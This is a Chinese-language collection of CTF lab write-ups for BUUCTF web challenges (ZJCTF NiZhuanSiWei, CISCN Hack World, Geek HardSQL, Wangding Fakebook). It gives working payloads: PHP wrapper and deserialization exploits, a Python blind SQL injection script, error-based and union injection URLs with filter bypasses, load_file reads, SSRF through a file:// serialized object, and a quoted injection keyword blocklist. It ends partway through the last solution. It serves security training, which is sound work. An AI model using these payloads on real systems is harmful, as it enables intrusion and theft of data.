User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.54
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://faf314f1-b8e3-4e74-bfb8-45cac76785b3.node3.buuoj.cn/levell14.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close

param1%5B%5D=a¶m2%5B%5D=b

最简化的请求:

POST /levell14.php HTTP/1.1
Host: faf314f1-b8e3-4e74-bfb8-45cac76785b3.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

param1%5B%5D=a¶m2%5B%5D=b

param1[]=a¶m2[]=b一定要进行url编码。

[ZJCTF 2019]NiZhuanSiWei

DATA URI Scheme

data:①[]②[;charset=]③[;]④,

data: 协议名称

[] 可选项,数据类型(image/pngtext/plain等)

[;charset=] 可选项,源文本的字符集编码方式

[;] 数据编码方式(默认US-ASCIIBASE64两种)

, 编码后的数据

注意:

  • [][;charset=] 的缺省值为HTTP HeaderContent-Type的字段值
  • [;] 的默认值为US-ASCII,就是每个字符会编码为%xx的形式
  • [;charset=] 对于IE是无效的,需要通过 charset 设置编码方式;而Chrome则是 charset 属性设置编码无效,要通过 [;charset=] 来设置;FF就两种方式均可
  • , 不是以 [;] 方式编码后的数据,则会报异常

References

https://www.cnblogs.com/fsjohnhuang/p/3903688.html

打开网页显示源码:

  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
     
    echo "

".file_get_contents($text,'r')."


"
; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>

data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取。当然也可以不需要base64,但是一般为了绕过某些过滤都会用到base64,输入:

http://c0ddda13-7810-4709-9c78-4a14e5858cfd.node3.buuoj.cn/?text=data://text/plain,welcome to the zjctf

或者

http://c0ddda13-7810-4709-9c78-4a14e5858cfd.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

网页提示:

welcome to the zjctf

php://filter用于读取源码,php://input用于执行php代码,因为是php文件,我们想看到内容就需要php://filter伪协议,尝试以base64编码读取useless.php内容。

输入url:

http://6c89ee25-1593-4f0c-8d6f-7ee5d6547052.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

输出:

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

base64解码:

  

class Flag{
       //flag.php  
    public $file;  
    public function __tostring(){
       
        if(isset($this->file)){
       
            echo file_get_contents($this->file); 
            echo "
"
; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>

这里定义了Flag类,里面有__tostring魔术方法,这个魔术方法是在类被当成字符串的时候调用,然后获取file的值并输出,这里也提醒了我们flag.php。包含useless.php文件后,对$password进行了反序列化,让$password反序列化出Flag类,因为$password被当做字符串输出,所以会调用__tostring魔术方法,然后会输出file也就是flag.php的内容。下面构造php反序列化的值:

  

class Flag{
       //flag.php  
    public $file = "flag.php";  
    public function __tostring(){
       
        if(isset($this->file)){
       
            echo file_get_contents($this->file); 
            echo "
"
; return ("U R SO CLOSE !///COME ON PLZ"); } } } $file = new Flag(); echo serialize($file); ?>

运行结果:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

reference

https://www.codenong.com/cs105658845/

输入url:

http://c0ddda13-7810-4709-9c78-4a14e5858cfd.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

这里不需要再用php://filter协议,因为我们已经知道了useless.php的内容,直接file=useless.php就行了。

网页提示:

welcome to the zjctf

oh u find it

U R SO CLOSE !///COME ON PLZ

F12,查看源代码:

<br><h1>welcome to the zjctf</h1></br>  
<br>oh u find it </br>

<!--but i cant give it to u now-->



if(2===3){
       
	return ("flag{f96ab9cc-fa07-426d-8eb6-dd72066fe034}");
}

?>
<br>U R SO CLOSE !///COME ON PLZ

得到flag。

[CISCN2019 华北赛区 Day2 Web1]Hack World

进入网页,发现:

All You Want Is In Table 'flag' and the column is 'flag'
Now, just give the id of passage

Do you want to be my girlfriend?

告诉了我们表名与列名,所以sql查询语句是:

select flag from flag

输入这条语句,发现被检测到sql注入,所以猜测是空格被过滤,调整语句,用括号绕过空格:

select(flag)from(flag)

References

https://www.cnblogs.com/Vinson404/p/7253255.html

这次输入正常返回查询结果bool(false)

  • 输入1 返回Hello, glzjin wants a girlfriend.
  • 输入2 返回Do you want to be my girlfriend?
  • 输入1%2返回Hello, glzjin wants a girlfriend.
  • 输入其他数值 返回error

思路就是利用if(expr1,expr2,expr3)

  • 如果expr1的值为true,则执行expr2语句,
  • 如果expr1的值为false,则执行expr3语句。

这道题的原理是exp1的值为true,则执行expr2语句,expr2设置成1,传给id,这条记录一定会返回Hello, glzjin wants a girlfriend.

如果expr1的值为false,则返回2,因为将expr3设置成2,网页会返回Do you want to be my girlfriend?

基于返回的文字不一样,我们就可以知道expr1到底是返回true,还是false

这里用二分搜索实现,python代码:

import requests
url = 'http://1929c408-8b82-4b06-8f8d-381124ecccd8.node3.buuoj.cn/index.php'
data = {
     "id": ""}
flag = ''
i = 1
while True:
    begin = 32 # 从第一个可显示的字符开始
    end = 126
    mid = (begin + end) // 2 #取整除,返回商的整数部分(向下取整)
    while begin < end:
        # print(begin, mid, end)
        data["id"] = "if(ascii(substr((select(flag)from(flag)),{},1))>{},1,2)".format(i, mid)
        r = requests.post(url, data = data)
        if 'Hello' in r.text:
            begin = mid + 1
        else:
            end = mid
        mid = (begin + end) // 2
    flag += chr(mid)
    i += 1
    print(flag)
    if flag[-1] == '}':
        break

ascii(str)函数:

返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果strNULL,返回NULL

当然也可以用异或实现。

References

https://www.jianshu.com/p/b7a03e98357e

这道题的源码:


$dbuser='root';
$dbpass='root';

function safe($sql){
     
    #被过滤的内容 函数基本没过滤
    $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
    foreach($blackList as $blackitem){
     
        if(stripos($sql,$blackitem)){
     
            return False;
        }
    }
    return True;
}
if(isset($_POST['id'])){
     
    $id = $_POST['id'];
}else{
     
    die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
     
    die(mysql_error());
}   
mysql_select_db("ctf",$db);

if(safe($id)){
     
    $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
    
    if($query){
     
        $result = mysql_fetch_array($query);
        
        if($result){
     
            echo $result['content'];
        }else{
     
            echo "Error Occured When Fetch Result.";
        }
    }else{
     
        var_dump($query);
    }
}else{
     
    die("SQL Injection Checked.");
}

References

https://blog.nowcoder.net/n/6288b736b7134cccadd1ff966ed74801

[极客大挑战 2019]HardSQL

todo为什么在输入框里面注入不成功?在地址栏里面用#不行,一定要用%23

经过测试,本题过滤了:=空格大于号小于号,所以使用()来代替空格,使用like来代替=号。

References

https://segmentfault.com/a/1190000022537460

https://p3rh4ps.top/index.php/2019/12/28/19-12-28-极客大挑战-hardsql/

查询数据库,输入url:

http://42e26ee7-32fa-4f1a-9b04-8c93dc3ac2e0.node3.buuoj.cn/check.php?username=1&password=1'or(extractvalue(1,concat(0x7e,(select(database())))))%23

网页回显:

Error!

XPATH syntax error: '~geek'

查询数据库geek中的表:

http://42e26ee7-32fa-4f1a-9b04-8c93dc3ac2e0.node3.buuoj.cn/check.php?username=1&password=1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))))))%23

或者

http://42e26ee7-32fa-4f1a-9b04-8c93dc3ac2e0.node3.buuoj.cn/check.php?username=1&password=1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))))))%23

网页回显:

Error!

XPATH syntax error: '~H4rDsq1'

查询数据库geek中表H4rDsq1中所有字段:

http://42e26ee7-32fa-4f1a-9b04-8c93dc3ac2e0.node3.buuoj.cn/check.php?username=1&password=1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))))))%23

网页回显:

Error!

XPATH syntax error: '~id,username,password'

查询数据库geekH4rDsq1表中password字段的值

http://42e26ee7-32fa-4f1a-9b04-8c93dc3ac2e0.node3.buuoj.cn/check.php?username=1&password=1'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)))))%23

网页回显:

Error!

XPATH syntax error: '~flag{c5c25ff7-0f60-4c69-a502-e9'

extractvalue()能查询字符串的最大长度为32,如果结果超过32,就需要用substring()函数截取或者right()函数。

References

https://blog.csdn.net/zpy1998zpy/article/details/80631036

查看flag后半段:

http://42e26ee7-32fa-4f1a-9b04-8c93dc3ac2e0.node3.buuoj.cn/check.php?username=1&password=1'or(extractvalue(1,concat(0x7e,right((select(password)from(H4rDsq1)),31))))%23

网页回显:

Error!

XPATH syntax error: '~f7-0f60-4c69-a502-e90850b1697d}'

拼接得到完整flag。

[网鼎杯 2018]Fakebook

一般的解题流程

  • 观察网页
    • 有登录文本框→存在sql注入
  • F12查看源码
  • web目录扫描,用自己写一个字典
    • 看看有没有robots.txt
      • 看看有没有/user.php.bak
  • 用Burp Suite拦截查看响应

用自己写的字典用dirsearch扫描目录,发现存在robots.txt文件

用url访问:

http://101b2412-2a1c-461e-a536-812755c6b3f8.node3.buuoj.cn/robots.txt

网页显示:

User-agent: *
Disallow: /user.php.bak

发现/user.php.bak文件,用url访问:

http://101b2412-2a1c-461e-a536-812755c6b3f8.node3.buuoj.cn/user.php.bak

bak文件属于备份文件,下载后打开发现源代码:



class UserInfo
{
     
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
     
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
     
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
     
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
     
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
     
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

一个UserInfo类,类对象有三个属性:name,age,blog。还有三个函数:

  • get()

get方法通过curl发送请求(curl是一个利用url语法工作的传输工具,此例中的使用,即获得指定url的页面内容。详细内容,请自行查阅补充),且并未对参数url进行过滤,没有对用户可控参数过滤。

  • isValidBlog()

isValidBlog函数是对blog参数进行的正则匹配,猜测对用户的输入格式进行了一定的限制。

  • getBlogContents()

函数调用了get函数,把userinfo类中的blog参数当做一个URL,得到请求内容。而页面里iframe里的src根据得到的内容进行页面渲染。

注册后,可以点开自己的名字,然后会显示自己的详细信息,包括名字,年龄,blog地址。这时地址栏为:

http://101b2412-2a1c-461e-a536-812755c6b3f8.node3.buuoj.cn/view.php?no=1

发现存在sql注入,试一下:

http://101b2412-2a1c-461e-a536-812755c6b3f8.node3.buuoj.cn/view.php?no=0

发现页面报错:

Untitled


the contents of his/her blog


Fatal error : Call to a member function getBlogContents() on boolean in /var/www/html/view.php on line 67

发现页面地址为**/var/www/html/view.php,所以我们可以猜测flag.php的地址为/var/www/html/flag.php**

sql注入先判断字段数:

view.php?no=1 order by 3#
view.php?no=1 order by 4#
view.php?no=1 order by 5# 报错

所以字段数为4。

判断回显位置,观察哪个字段可以利用:

http://101b2412-2a1c-461e-a536-812755c6b3f8.node3.buuoj.cn/view.php?no=0 union select 1,2,3,4#

发现被过滤,报错:

no hack ~_~

尝试后发现union select整体被过滤,所以用/**/代替空格绕过过滤:

http://101b2412-2a1c-461e-a536-812755c6b3f8.node3.buuoj.cn/view.php?no=0 union/**/select 1,2,3,4#

没有#也可以,页面显示:

Notice: unserialize(): Error at offset 0 of 1 bytes in**/var/www/html/view.php** on line 31

Untitled


the contents of his/her blog


Fatal error: Call to a member function getBlogContents() on boolean in /var/www/html/view.php on line 67

说明username是回显位置,查看当前数据库用户:

view.php?no=2 union++select 1,user(),3,4#

网页显示:

username
root@localhost

当前用户拥有最高权限,查看当前数据库名称:

view.php?no=2 union++select 1,database(),3,4#

网页显示:

username
fakebook

方法一

mysql中的load_file函数,允许访问系统文件,并将内容以字符串形式返回,不过需要的权限很高,且函数参数要求文件的绝对路径。条件全都满足:

view.php?no=2 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#

F12打开源代码,发现flag。

方法二

不用load_file函数,正常查表,列,查看表名:

view.php?no=2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#

显示表名为users,查询列名:

view.php?no=2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users'

显示列名为no,username,passwd,data,前三个都知道,最后一个data不知道是什么,所以查询data

view.php?no=0 union/**/select 1,group_concat(data),3,4 from users where no=1#

网站显示:

O:8:"UserInfo":3:{s:4:"name";s:1:"m";s:3:"age";i:20;s:4:"blog";s:9:"baidu.com";}

是序列化后的UserInfo对象,结合源代码里面的:

  function get($url)
    {
     
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
     
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
     
        return $this->get($this->blog);
    }

审计源码发现其中get()函数存在SSRF(服务端请求伪造)漏洞。getBlogContents函数调用了get函数,把userinfo类中的blog参数当做一个URL,得到请求内容。而页面里iframe里的src根据得到的内容进行页面渲染。所以我们可以在blog参数里放入flag.php的路径,由getBlogContents访问这个文件,就能得到flag,输入:

view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:20;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

查看源码: